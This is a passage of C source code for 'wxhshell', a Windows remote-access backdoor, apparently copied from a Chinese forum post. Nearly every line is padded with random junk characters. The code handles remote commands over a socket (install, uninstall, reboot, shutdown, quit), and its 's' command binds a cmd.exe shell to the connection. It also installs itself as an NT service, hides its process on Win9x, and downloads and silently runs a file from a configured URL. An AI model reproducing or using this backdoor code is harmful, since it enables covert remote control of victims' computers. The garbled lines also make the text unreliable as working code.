      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .{8[o[w =  
    break; iCiKr aW  
  } ~gZ1*8 s`  
  // 安装 [olSgq!3  
  case 'i': { jsgDJ}  
    if(Install()) R#~l[S8u^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *.wj3' wV  
    else :EHk]Hkz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~x'8T!M{  
    break; b&h'>(  
    } ]=-=D9ZS3  
  // 卸载 [Fag\/Y+  
  case 'r': {  8(K:2  
    if(Uninstall()) ,R-k]^O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wV f 7<@/y  
    else mk~CE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MhE".ZRd  
    break; 7oIHp_Zq  
    } "u~` ZV(  
  // 显示 wxhshell 所在路径 k^K76mB  
  case 'p': { {*hFG:u  
    char svExeFile[MAX_PATH]; 7)#JrpTj%  
    strcpy(svExeFile,"\n\r"); @YaI5>,/  
      strcat(svExeFile,ExeFile); pd:YR;  
        send(wsh,svExeFile,strlen(svExeFile),0); lj&\F|-i  
    break; ol_\ "  
    } t d\gk  
  // 重启 8lqmd1v  
  case 'b': { W!XBuk-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3*%+NQIj  
    if(Boot(REBOOT)) RfvvX$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X*);cn  
    else { Gy["_;+xU  
    closesocket(wsh); .c<U5/  
    ExitThread(0); Ei]Sks V>*  
    } bg0ix"  
    break; *< fJgc"3  
    } p(GI02|n  
  // 关机 'M?ptu?f  
  case 'd': { p</t##]3ks  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GGHeC/4  
    if(Boot(SHUTDOWN)) l> H'PP~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i}>EGmv m  
    else { NqKeQezX  
    closesocket(wsh); 8|i<4>  
    ExitThread(0); &*O'qOO<2  
    } GcO:!b*YMp  
    break; :f7!?^;y>  
    } .7Qqs=Au  
  // 获取shell RJDk7{(  
  case 's': { A-myY30  
    CmdShell(wsh); $d-yG553  
    closesocket(wsh); 94 6r#`q  
    ExitThread(0); e"sv_$*  
    break; 6A>bm{`c:  
  } vOKNBR2  
  // 退出 oo]P}ra  
  case 'x': { GYf{~J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ESIJ QM-[+  
    CloseIt(wsh); H[pvC=O=  
    break; NzhWGr_x'  
    } TZ n2,N  
  // 离开 751Q i  
  case 'q': { UL~~J[1r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HXdo:#xEO  
    closesocket(wsh); tNZZCdB  
    WSACleanup(); <Mo{o2F=  
    exit(1); 8VG~n?y  
    break; G;/> N'#  
        } +[ir7?Y.  
  } 5HbJE'  
  } +B+cN[d  
zJ1M$ U  
  // 提示信息 I}y6ke!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W!9~bBF',  
} XD!}uDZ^  
  } ]-X\n  
5\JV}  
  return; y[cc<wm$  
} FoYs<aER  
$'!n4}$}  
// shell模块句柄 ;&?ITV  
int CmdShell(SOCKET sock) i,Jz 7OX  
{ (A}c22qe  
STARTUPINFO si; I-J%yutB  
ZeroMemory(&si,sizeof(si)); EX W?)_pg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ty!V)i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J- l[dC  
PROCESS_INFORMATION ProcessInfo; 2.{<C.BK{  
char cmdline[]="cmd"; f::^zAV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e+2lus,u6t  
  return 0; /d }5R@Oy  
} MScUrW!TA  
=''*'a-P  
// 自身启动模式 xTcY&   
int StartFromService(void) v )2yR~J  
{ Qd ?S~3XT  
typedef struct Tn3C0  
{ K6~')9 Q  
  DWORD ExitStatus; !HXsxNe  
  DWORD PebBaseAddress; RdpOj >fT  
  DWORD AffinityMask; NLgeBLB  
  DWORD BasePriority; m<MN.R7  
  ULONG UniqueProcessId; .'-t>(}v  
  ULONG InheritedFromUniqueProcessId; ]8cD,NS  
}   PROCESS_BASIC_INFORMATION; F?y C=  
r|3u]rt  
PROCNTQSIP NtQueryInformationProcess; VWCC(YRU|$  
bhZ5-wo4%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |NjyO>@Pa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wlP% U  
cIuCuh0I`  
  HANDLE             hProcess; j_zy"8Y{  
  PROCESS_BASIC_INFORMATION pbi; dW^#}kN7V  
= j l( Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '@QK<!%,  
  if(NULL == hInst ) return 0; ]<fZW"W< q  
}4Gn$'e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R3BK\kf&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1_n5:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z3Xgi~c  
N71^I"@HH  
  if (!NtQueryInformationProcess) return 0; ZU9RvtbKB  
B,4GxoX`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FQMA0"(G$  
  if(!hProcess) return 0; yW_goS0  
M|$A)D1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D@iS#+22  
b0/[+OY   
  CloseHandle(hProcess); =D 5!Xq'|  
Zk gj_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ].gC9@C:$i  
if(hProcess==NULL) return 0; pl 1CEoe  
+ k   
HMODULE hMod; 7H[.o~\  
char procName[255]; WMoRosL74  
unsigned long cbNeeded; # kmI#W"^  
ljh,%#95=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?3iN)*Ut  
(L<G=XC  
  CloseHandle(hProcess); mx^rw*'JGC  
F@X8a/;F-  
if(strstr(procName,"services")) return 1; // 以服务启动 0@#d($'1?Z  
@y# u!}  
  return 0; // 注册表启动 _x7>d:C  
} CT{ X$N  
/Dk`?  
// 主模块 IS!]!s'EI  
int StartWxhshell(LPSTR lpCmdLine) Lb2/ Te*  
{ *>j4tA{b@v  
  SOCKET wsl; =Ajw(I[56  
BOOL val=TRUE; n]wZ7z  
  int port=0; .-p?skm=a  
  struct sockaddr_in door; 79M` ?xm  
y;LZX-Z-  
  if(wscfg.ws_autoins) Install(); _3_o/I  
(Z>vbi%  
port=atoi(lpCmdLine); !z?:Y#P3  
Qhn>aeW,  
if(port<=0) port=wscfg.ws_port; MXY!N /  
'p'nAB''!  
  WSADATA data; 3],[6%w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2FTJxSC  
$D#eD.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )$FwB6^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rAQ3x0  
  door.sin_family = AF_INET; ^eqq|(<K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RXbZaje$  
  door.sin_port = htons(port); UrB {jS?  
5CM]-qbf@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t*!Q9GC_  
closesocket(wsl); I[v~nY~l`  
return 1; l8!n!sC[,  
} =ThacZHb8  
zeHs5P8}r  
  if(listen(wsl,2) == INVALID_SOCKET) { 6q^.Pg-Y  
closesocket(wsl); cz*Z/5XH  
return 1; WAh{*$Rpl  
} *s"{JrG`O  
  Wxhshell(wsl); "V7&@3  
  WSACleanup(); 0o&7l%Y/  
 0GiL(e|  
return 0; km!jxs  
|Ns[{/  
} >c8EgSZJ  
>1d`G%KfG  
// 以NT服务方式启动 ,7|2K&C5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r;&rc:?A  
{ :mz6*0qW  
DWORD   status = 0; UR.l*+<W7  
  DWORD   specificError = 0xfffffff; e@crM'R7Lo  
>I.X]<jI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =wX(a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W-@}q}A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l8ZzKb-  
  serviceStatus.dwWin32ExitCode     = 0; &]HY:  
  serviceStatus.dwServiceSpecificExitCode = 0; 62%=%XD  
  serviceStatus.dwCheckPoint       = 0; #s^~'2^%4  
  serviceStatus.dwWaitHint       = 0; ukRbSJ5a5  
"EC,#$e%ev  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rQPV@J]:  
  if (hServiceStatusHandle==0) return; V@Fj!/  
M2e_)f:  
status = GetLastError(); '}NQ`\k  
  if (status!=NO_ERROR) }zu?SZH  
{ P_ x9:3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VKp4FiI6  
    serviceStatus.dwCheckPoint       = 0; re\&'%~K  
    serviceStatus.dwWaitHint       = 0; elf2!  
    serviceStatus.dwWin32ExitCode     = status; oefhJM!y  
    serviceStatus.dwServiceSpecificExitCode = specificError; %) 8 UyZG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c)OQ_3xOs  
    return; li?RymlF  
  } xA>O4S D  
w qLY \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "]C$"JR  
  serviceStatus.dwCheckPoint       = 0; yb:Xjg7   
  serviceStatus.dwWaitHint       = 0;  &(Ot(.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }?jL;CCe  
} 2pEr s|r  
CPCjY|w7   
// 处理NT服务事件,比如:启动、停止 J2W:Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t)Mi,ljY[  
{ MxO0#  
switch(fdwControl) LD~/*  
{ P~y%  
case SERVICE_CONTROL_STOP: syYe0~  
  serviceStatus.dwWin32ExitCode = 0; d)&}% 2ku  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fH/J8<  
  serviceStatus.dwCheckPoint   = 0; ah\yw  
  serviceStatus.dwWaitHint     = 0; Z;6v`;[  
  { tGcp48R-:+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w{1DwCLKq  
  } &v\  
  return; ,dM}B-  
case SERVICE_CONTROL_PAUSE: ,Mp/Y>f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &nk[gb o\  
  break; G92Ya^`  
case SERVICE_CONTROL_CONTINUE: JC6Bs`=s~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O*dN+o  
  break; s6|Ev IVM  
case SERVICE_CONTROL_INTERROGATE: _S[@d^cY  
  break; 451TTqc  
}; hqA6%Y^k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rG _T!']~  
} (c<MyuWb  
V9tG2m Lf>  
// 标准应用程序主函数 Jf-4Q!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7r?s)ZV  
{ CXr]V"X9  
YM*{^BXp  
// 获取操作系统版本 gxS*rzCG  
OsIsNt=GetOsVer(); 0Y8Si^T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wu\{)g{&  
Bg?f}nu7  
  // 从命令行安装 > :s#MwIwm  
  if(strpbrk(lpCmdLine,"iI")) Install(); [4u.*oL&  
-Q6njt&  
  // 下载执行文件 tw/~z2G  
if(wscfg.ws_downexe) { G{,X_MZ%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cg-\|H1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 -\.|5;:  
} +5|wd6  
XANPI|  
if(!OsIsNt) { #-wtNM%1#  
// 如果时win9x,隐藏进程并且设置为注册表启动 dVh*  a  
HideProc(); h7iI=[_V  
StartWxhshell(lpCmdLine); %. =B=*  
} Gm 0&y  
else M PhG:^g  
  if(StartFromService()) ,U\F <$O  
  // 以服务方式启动 %z}{jqD&:X  
  StartServiceCtrlDispatcher(DispatchTable); ai!zb2j!E  
else ~|_s2T  
  // 普通方式启动 U8+5{,$\.  
  StartWxhshell(lpCmdLine); {G:dhi  
lLq:(zMH  
return 0; o& g0 1t  
}
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只看该作者 1 发表于: 2006-10-10
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